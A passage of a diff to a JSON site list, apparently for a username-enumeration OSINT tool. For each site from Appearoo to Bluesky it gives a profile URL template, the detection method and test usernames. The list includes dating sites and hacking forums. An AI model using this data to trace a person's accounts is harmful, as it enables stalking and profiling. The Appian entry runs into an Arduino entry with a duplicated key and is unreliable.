"tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 257567, + "urlMain": "http://appearoo.com", + "url": "http://appearoo.com/{username}", + "usernameClaimed": "appearoo", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Appian": { + "alexaRank": 56402, + "url": "https://community.appian.com/members/{username}", + "checkType": "message", + "absenceStrs": [ + "Working..." + ], + "absenceStrs": [ + "Arduino Project Hub" + ], + "url": "https://projecthub.arduino.cc/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AreKamrbb": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043c\u044b \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u0434\u043b\u044f \u0432\u0430\u0441.." + ], + "alexaRank": 214312, + "urlMain": "https://are.kamrbb.ru", + "url": "https://are.kamrbb.ru/?x=find&f={username}#top", + "usernameClaimed": "%D0%B0%D0%BB%D0%B8%D1%81%D0%B0", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arhrock": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2685814, + "urlMain": "https://arhrock.info/", + "url": "https://arhrock.info/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ariva": { + "tags": [ + "de" + ], + "checkType": "status_code", + "alexaRank": 17698, + "urlMain": "https://www.ariva.de/", + "url": "https://www.ariva.de/profil/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armchairgm": { + "tags": [ + "us", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://armchairgm.fandom.com/", + "url": "https://armchairgm.fandom.com/wiki/User:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armorgames": { + "tags": [ + "gaming", + "us" + ], + "checkType": "response_url", + "alexaRank": 16054, + "urlMain": "https://armorgames.com", + "url": "https://armorgames.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armtorg": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 567058, + "urlMain": "https://armtorg.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arrse": { + "urlSubpath": "/community", + "tags": [ + "ca", + "forum", + "gb", + "in", + "pk" + ], + "engine": "XenForo", + "alexaRank": 602510, + "urlMain": "https://www.arrse.co.uk/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arsenal-mania": { + "tags": [ + "gb", + "hk", + "pk", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1102905, + "urlMain": "https://arsenal-mania.com", + "url": "https://arsenal-mania.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artistsnclients": { + "checkType": "status_code", + "url": "https://artistsnclients.com/people/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artpersona": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + ], + "urlMain": "http://artpersona.org/", + "url": "http://artpersona.org/cb/userprofile/{username}", + "usernameClaimed": "Sofidark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artstation": { + "tags": [ + "art", + "stock" + ], + "checkType": "status_code", + "alexaRank": 1414, + "urlMain": "https://www.artstation.com", + "url": "https://www.artstation.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artsy": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 10540, + "urlMain": "https://www.artsy.net", + "url": "https://www.artsy.net/artist/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Asciinema": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "status_code", + "alexaRank": 105142, + "urlMain": "https://asciinema.org", + "url": "https://asciinema.org/~{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ask Fedora": { + "tags": [ + "forum", + "in", + "us" + ], + "absenceStrs": [ + "Sorry, we couldn't find that page." + ], + "engine": "Discourse", + "alexaRank": 36112, + "urlMain": "https://ask.fedoraproject.org/", + "usernameClaimed": "grsm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AskFM": { + "disabled": true, + "tags": [ + "eg", + "in", + "ru" + ], + "regexCheck": "^[a-zA-Z0-9_]{3,40}$", + "checkType": "message", + "absenceStrs": [ + "Well, apparently not anymore." + ], + "alexaRank": 4635, + "urlMain": "https://ask.fm/", + "url": "https://ask.fm/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Askvoprosy": { + "disabled": true, + "tags": [ + "coding" + ], + "checkType": "message", + "absenceStrs": [ + "" + ], + "alexaRank": 670057, + "urlMain": "https://askvoprosy.com/", + "url": "https://askvoprosy.com/polzovateli/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astra-club": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1071900, + "urlMain": "http://www.astra-club.ru", + "url": "http://www.astra-club.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Astraclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 345699, + "urlMain": "http://astraclub.ru", + "url": "http://astraclub.ru/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astralinux": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 394418, + "urlMain": "https://forum.astralinux.ru", + "usernameClaimed": "dem", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astro-talks": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2055636, + "urlMain": "http://www.astro-talks.ru", + "url": "http://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astrogalaxy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1266828, + "urlMain": "https://astrogalaxy.ru", + "url": "https://astrogalaxy.ru/forum/phpBB2/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Au": { + "tags": [ + "freelance", + "ru", + "shopping" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d</title" + ], + "alexaRank": 29241, + "urlMain": "https://au.ru", + "url": "https://au.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Audiojungle": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[a-zA-Z0-9_]+$", + "checkType": "status_code", + "alexaRank": 5897, + "urlMain": "https://audiojungle.net/", + "url": "https://audiojungle.net/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aufeminin": { + "tags": [ + "fr", + "ma", + "mg" + ], + "checkType": "response_url", + "alexaRank": 37687, + "urlMain": "https://www.aufeminin.com", + "url": "https://www.aufeminin.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autofrage": { + "checkType": "status_code", + "url": "https://www.autofrage.net/nutzer/{username}", + "usernameClaimed": "autofrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autokadabra": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1240738, + "urlMain": "http://autokadabra.ru/", + "url": "http://autokadabra.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autolada": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<title> :: AUTOLADA.RU" + ], + "presenseStrs": [ + "postdetails" + ], + "alexaRank": 152145, + "urlMain": "https://www.autolada.ru/", + "url": "https://www.autolada.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autolenta": { + "tags": [ + "auto", + "forum", + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 7414771, + "urlMain": "https://community.autolenta.ru", + "url": "https://community.autolenta.ru/profile/{username}", + "usernameClaimed": "serzhhh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Automania": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Go to the homepage" + ], + "presenseStrs": [ + "\u041f\u043e\u0441\u0442\u044b \u043e\u0442 " + ], + "alexaRank": 8074009, + "urlMain": "https://automania.ru", + "url": "https://automania.ru/author/{username}/", + "usernameClaimed": "autozak23", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avforums": { + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 29727, + "urlMain": "https://www.avforums.com", + "url": "https://www.avforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AvidCommunity": { + "checkType": "message", + "absenceStrs": [ + "User Not Found" + ], + "presenseStrs": [ + "My Announcements" + ], + "url": "https://community.avid.com/members/{username}/default.aspx", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avizo": { + "tags": [ + "cz" + ], + "checkType": "response_url", + "alexaRank": 1176334, + "urlMain": "https://www.avizo.cz/", + "url": "https://www.avizo.cz/{username}/", + "errorUrl": "https://www.avizo.cz/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Avto-forum.name": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1636731, + "urlMain": "https://avto-forum.name", + "usernameClaimed": "mariya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avtoforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://avtoforum.org", + "usernameClaimed": "tim", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Avtolyubiteli": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1322674, + "urlMain": "https://forum.avtolyubiteli.com", + "url": "https://forum.avtolyubiteli.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Avtomarket": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 84481, + "urlMain": "https://avtomarket.ru", + "url": "https://avtomarket.ru/u/{username}/", + "usernameClaimed": "expert20144", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "B17": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 11199, + "urlMain": "https://www.b17.ru/", + "url": "https://www.b17.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BLIP.fm": { + "tags": [ + "in", + "music" + ], + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "checkType": "status_code", + "alexaRank": 100318, + "urlMain": "https://blip.fm/", + "url": "https://blip.fm/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BOOTH": { + "tags": [ + "jp", + "shopping" + ], + "checkType": "response_url", + "alexaRank": 6356, + "urlMain": "https://booth.pm/", + "url": "https://{username}.booth.pm/", + "errorUrl": "https://booth.pm/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Baby.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "error-page__title" + ], + "presenseStrs": [ + "user-name" + ], + "alexaRank": 5852, + "urlMain": "https://www.baby.ru/", + "url": "https://www.baby.ru/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "BabyBlog.ru": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 18202, + "urlMain": "https://www.babyblog.ru/", + "url": "https://www.babyblog.ru/user/{username}", + "errorUrl": "https://www.babyblog.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "BackdoorSdslabs": { + "disabled": true, + "tags": [ + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "No such user exists" + ], + "alexaRank": 1627026, + "urlMain": "https://backdoor.sdslabs.co", + "url": "https://backdoor.sdslabs.co/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Badoo": { + "disabled": true, + "tags": [ + "dating", + "de", + "pl", + "ve" + ], + "checkType": "status_code", + "alexaRank": 3972, + "urlMain": "https://badoo.com/", + "url": "https://badoo.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bandcamp": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 1188, + "urlMain": "https://www.bandcamp.com/", + "url": "https://www.bandcamp.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bandlab": { + "checkType": "message", + "absenceStrs": [ + "find any matching element, it might be deleted" + ], + "presenseStrs": [ + "genres" + ], + "url": "https://www.bandlab.com/api/v1.3/users/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Barnacl": { + "checkType": "status_code", + "alexaRank": 1937722, + "urlMain": "https://barnacl.es/u/alexsam", + "url": "https://barnacl.es/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "es", + "news", + "sharing" + ] + }, + "XSS.is": { + "tags": [ + "forum", + "hacking", + "in", + "ru" + ], + "errors": { + "\u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u044b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u044d\u0442\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 181248, + "urlMain": "https://xss.is", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Battleraprus": { + "tags": [ + "ru", + "us", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://battleraprus.fandom.com/ru", + "url": "https://battleraprus.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bayoushooter": { + "tags": [ + "forum", + "pk", + "us" + ], + "engine": "XenForo", + "alexaRank": 1059834, + "urlMain": "https://www.bayoushooter.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bazar.cz": { + "tags": [ + "cz" + ], + "checkType": "response_url", + "alexaRank": 1126292, + "urlMain": "https://www.bazar.cz/", + "url": "https://www.bazar.cz/{username}/", + "errorUrl": "https://www.bazar.cz/error404.aspx", + "usernameClaimed": "pianina", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Bbshave": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 3441230, + "urlMain": "https://bbshave.ru", + "url": "https://bbshave.ru/profile/{username}", + "usernameClaimed": "Yury", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bdoutdoors": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 158742, + "urlMain": "https://www.bdoutdoors.com", + "url": "https://www.bdoutdoors.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BeerMoneyForum": { + "disabled": true, + "ignore403": true, + "tags": [ + "finance", + "forum", + "gambling" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 11216, + "urlMain": "https://www.beermoneyforum.com", + "url": "https://www.beermoneyforum.com/members/?username={username}", + "usernameClaimed": "Yugocean", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Beerintheevening": { + "tags": [ + "gb" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist." + ], + "alexaRank": 3307828, + "urlMain": "http://www.beerintheevening.com", + "url": "http://www.beerintheevening.com/user_profile.shtml?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Behance": { + "tags": [ + "business" + ], + "headers": { + "User-Agent": "Curl" + }, + "checkType": "status_code", + "alexaRank": 279, + "urlMain": "https://www.behance.net/", + "url": "https://www.behance.net/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Belmos": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 9023312, + "urlMain": "https://www.belmos.ru", + "url": "https://www.belmos.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "starik13", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bentbox": { + "checkType": "message", + "absenceStrs": [ + "This user is currently not available" + ], + "presenseStrs": [ + "id=\"followingUser\"" + ], + "url": "https://bentbox.co/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bestfantasybooks": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 506840, + "urlMain": "http://bestfantasybooks.com", + "url": "http://bestfantasybooks.com/forums/members/?username={username}", + "usernameClaimed": "tofulovefrog", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bestweapon": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "</script><br><table class='border-blog'><tr><td><div class='avatar'" + ], + "alexaRank": 59450, + "urlMain": "https://bestweapon.ru", + "url": "https://bestweapon.ru/author.php?author={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bethepro": { + "tags": [ + "pk", + "us" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 522588, + "urlMain": "https://bethepro.com", + "url": "https://bethepro.com/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bezuzyteczna": { + "checkType": "status_code", + "url": "https://bezuzyteczna.pl/uzytkownicy/{username}", + "usernameClaimed": "Jackson", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bgforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 / \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 2303903, + "urlMain": "https://bgforum.ru", + "url": "https://bgforum.ru/user/{username}/", + "usernameClaimed": "Shark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bibsonomy": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 5668, + "urlMain": "https://www.bibsonomy.org", + "url": "https://www.bibsonomy.org/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Biggerpockets": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "| BiggerPockets" + ], + "url": "https://www.biggerpockets.com/users/{username}", + "usernameClaimed": "uheara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bigmmc": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 401668, + "urlMain": "http://bigmmc.com", + "usernameClaimed": "monhyip", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Bigsoccer": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 62355, + "urlMain": "https://www.bigsoccer.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bikemap": { + "checkType": "status_code", + "url": "https://www.bikemap.net/en/u/{username}/routes/created/", + "usernameClaimed": "bikemap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BikeRadar": { + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 14858, + "urlMain": "https://forum.bikeradar.com", + "url": "https://forum.bikeradar.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Bikepost": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 80497, + "urlMain": "https://bikepost.ru", + "url": "https://bikepost.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Biketrials": { + "tags": [ + "pk", + "ru", + "vn" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 1853655, + "urlMain": "http://www.biketrials.ru", + "url": "http://www.biketrials.ru/live/member.php?username={username}", + "usernameClaimed": "temka", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Billkiene": { + "urlSubpath": "/forums", + "engine": "vBulletin", + "alexaRank": 5465827, + "urlMain": "https://www.billkiene.com", + "usernameClaimed": "Odonata", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby" + ] + }, + "BinarySearch": { + "tags": [ + "in" + ], + "regexCheck": "^[a-zA-Z0-9-_]{1,15}$", + "urlProbe": "https://binarysearch.com/api/users/{username}/profile", + "checkType": "message", + "absenceStrs": [ + "{}" + ], + "alexaRank": 286626, + "urlMain": "https://binarysearch.com/", + "url": "https://binarysearch.com/@/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "BitBucket": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z0-9-_]{1,30}$", + "checkType": "status_code", + "alexaRank": 3124, + "urlMain": "https://bitbucket.org/", + "url": "https://bitbucket.org/{username}/", + "usernameClaimed": "white", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BitCoinForum": { + "disabled": true, + "tags": [ + "forum", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist." + ], + "alexaRank": 205800, + "urlMain": "https://bitcoinforum.com", + "url": "https://bitcoinforum.com/profile/{username}", + "usernameClaimed": "bitcoinforum.com", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bitwarden": { + "checkType": "message", + "absenceStrs": [ + "Oops!" + ], + "presenseStrs": [ + " Profile" + ], + "url": "https://community.bitwarden.com/u/{username}/summary", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BlackHatProTools": { + "tags": [ + "forum" + ], + "engine": "vBulletin", + "alexaRank": 37561, + "urlMain": "https://www.blackhatprotools.info", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blast": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 168139, + "urlMain": "https://www.blast.hk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BleachFandom": { + "tags": [ + "ru", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://bleach.fandom.com/ru", + "url": "https://bleach.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogger": { + "tags": [ + "blog" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 297, + "urlMain": "https://www.blogger.com/", + "url": "https://{username}.blogspot.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogi.pl": { + "checkType": "message", + "absenceStrs": [ + "Niepoprawny adres." + ], + "presenseStrs": [ + "Informacje og\u00f3lne" + ], + "url": "https://www.blogi.pl/osoba,{username}.html", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogmarks": { + "tags": [ + "fr", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, this user does not exist." + ], + "alexaRank": 44843, + "urlMain": "http://blogmarks.net", + "url": "http://blogmarks.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bluesky": { + "tags": [ + "messaging" + ], + "checkType": "message", + "absenceStrs": [ + "Oops!", + "Unable to resolve handle" + ], + "presenseStrs": [ + ".bsky.social on Bluesky" + ], + "urlMain": "https://bsky.app", + "url": "https://bsky.app/profile/{username}.bsky.social", + "usernameClaimed": "shamerli", + "usernameUnclaimed": 